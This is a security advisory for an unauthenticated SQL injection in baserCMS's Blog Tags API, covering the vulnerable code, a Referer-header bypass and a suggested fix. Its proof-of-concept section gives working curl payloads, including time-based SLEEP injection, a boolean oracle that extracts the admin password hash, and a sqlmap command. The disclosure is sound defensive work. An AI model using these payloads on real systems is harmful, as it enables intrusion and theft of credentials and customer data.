# GHSA-VPPR-96XG-C6FH: Unauthenticated SQL injection (ORDER BY) in Blog Tags API allows full database read

- Database: GitHub
- Severity: CVSS 7.5 (High)
- Published: 2026-07-30
- Modified: 2026-07-30

## Affected versions

- \`baserproject/basercms\` (Packagist): through 5.2.3

## Description

### Summary
The public Blog Tags REST API (`/baser/api/bc-blog/blog_tags/index.json`) is vulnerable to SQL
injection in the `ORDER BY` clause. The `sort`, `direction` and `order[]` request parameters are
concatenated verbatim into the SQL `ORDER BY` clause with no validation or allow-listing. Because
the public core API is only "protected" by a spoofable `Referer` header, an **unauthenticated**
remote attacker can read arbitrary data from the database (e.g. administrator bcrypt password
hashes) via time-based blind injection.

### Details
Vulnerable sink — `plugins/bc-blog/src/Service/BlogTagsService.php:137-142`:

```php
public function createIndexOrder(Query $query, array $params)
{
    $order = ["BlogTags.{$params['sort']} {$params['direction']}"]; // sort/direction concatenated raw
    if (!empty($params['order'])) $order = array_merge($order, $params['order']); // order[] appended raw
    return $query->orderBy($order); // numeric-keyed string elements are inserted into ORDER BY verbatim
}
```

`$params['sort']`, `$params['direction']` and `$params['order']` come straight from the request
query string (merged with defaults in `getIndex()`). CakePHP's `Query::orderBy()` treats
numerically-indexed string elements as raw SQL, so they are not parameterised or quoted.

Entry point — `plugins/bc-blog/src/Controller/Api/BlogTagsController.php:35-49` passes
`getQueryParams()` straight to `getIndex()`.

Reachable without authentication: the public (non-`Admin`) API gate
`BcApiController::beforeFilter()` (`plugins/baser-core/src/Controller/Api/BcApiController.php:55-64`)
only blocks core-plugin APIs when the request `Referer` is not same-site, and
`BcUtil::isSameReferrerAsCurrent()` (`plugins/baser-core/src/Utility/BcUtil.php:2084-2095`) merely
does a **prefix match on the client-supplied `Referer` header**. Sending `Referer: http://<host>/`
passes the check, so no authentication or token is required.

The sibling service `BlogPostsService::createOrder()` already validates `direction` against
`['ASC','DESC']` and the column against `^[a-zA-Z0-9_.]+$`; `BlogTagsService` does neither and also
accepts a fully attacker-controlled raw `order[]` array.

### PoC
A default baserCMS 5.x install with sample data (MySQL). All requests are unauthenticated; only a
forged `Referer` header is needed. (Outputs below are real, captured on 2026-06-13.)

**1) Public-API Referer gate and its bypass**
```
$ curl -s -o /dev/null -w "HTTP %{http_code}\n" \
    "http://TARGET/baser/api/bc-blog/blog_tags/index.json"
HTTP 403          # {"message":"baser API は許可されていません。","code":403}

$ curl -s -o /dev/null -w "HTTP %{http_code}\n" -H "Referer: http://TARGET/" \
    "http://TARGET/baser/api/bc-blog/blog_tags/index.json?sort=name&direction=ASC"
HTTP 200          # returns blogTags JSON
```

**2) Prove ORDER BY injection (break the syntax)**
```
$ curl -s -H "Referer: http://TARGET/" \
    "http://TARGET/baser/api/bc-blog/blog_tags/index.json?sort=name&direction=ASC%2C(SELECT"
{"message":"SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL
 syntax; ... near ', BlogTags.name asc LIMIT 20 OFFSET 0' at line 1","code":500}
```
The injected `direction` lands directly before `, BlogTags.name asc LIMIT 20 OFFSET 0`, proving raw
concatenation into the ORDER BY clause.

**3) Time-based blind (MySQL) — latency scales with SLEEP()**
```
$ for n in 0 2 4; do curl -s -o /dev/null -w "SLEEP($n): %{time_total}s\n" -H "Referer: http://TARGET/" \
   "http://TARGET/baser/api/bc-blog/blog_tags/index.json?sort=name&direction=ASC&order%5B%5D=(SELECT%20SLEEP($n))"; done
SLEEP(0): 6.24s
SLEEP(2): 9.41s
SLEEP(4): 10.85s
```

**4) Extract real data — boolean/time oracle on the admin bcrypt hash**
```
# bcrypt hashes start with '$' (0x24) -> condition TRUE -> +4s ; a wrong guess 'X' (0x58) -> FALSE -> no delay
$ curl ... "...&order%5B%5D=(SELECT%20IF((SELECT%20MID(password,1,1)%20FROM%20users%20ORDER%20BY%20id%20LIMIT%201)=0x24,SLEEP(4),0))"
MID(password,1,1)=0x24 -> 8.63s     (TRUE)
MID(password,1,1)=0x58 -> 4.00s     (FALSE)
```
This oracle yields the whole `users` table (password hashes, emails) character by character, e.g.:
```
sqlmap -u "http://TARGET/baser/api/bc-blog/blog_tags/index.json?sort=name&direction=ASC" \
  -p direction --headers="Referer: http://TARGET/" --technique=B --dbms=mysql --batch
```

### Impact
Unauthenticated, network-reachable, time-based blind SQL injection (CWE-89). Any remote attacker
can read the entire database — including administrator credential hashes and customer data — with
no authentication and no user interaction. A contributing factor is that the public core API is
gated only by a spoofable `Referer` header (CWE-290).

### Suggested fix
Validate `direction` against an `{ASC,DESC}` allow-list and the sort column against a registered-
column allow-list (as `BlogPostsService::createOrder` already does); do not accept a raw `order[]`
array from the request. Separately, do not use the `Referer` header as an access-control mechanism.

## References

- https://github.com/baserproject/basercms/security/advisories/GHSA-vppr-96xg-c6fh

Page: https://cve.now/GHSA-VPPR-96XG-C6FH

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
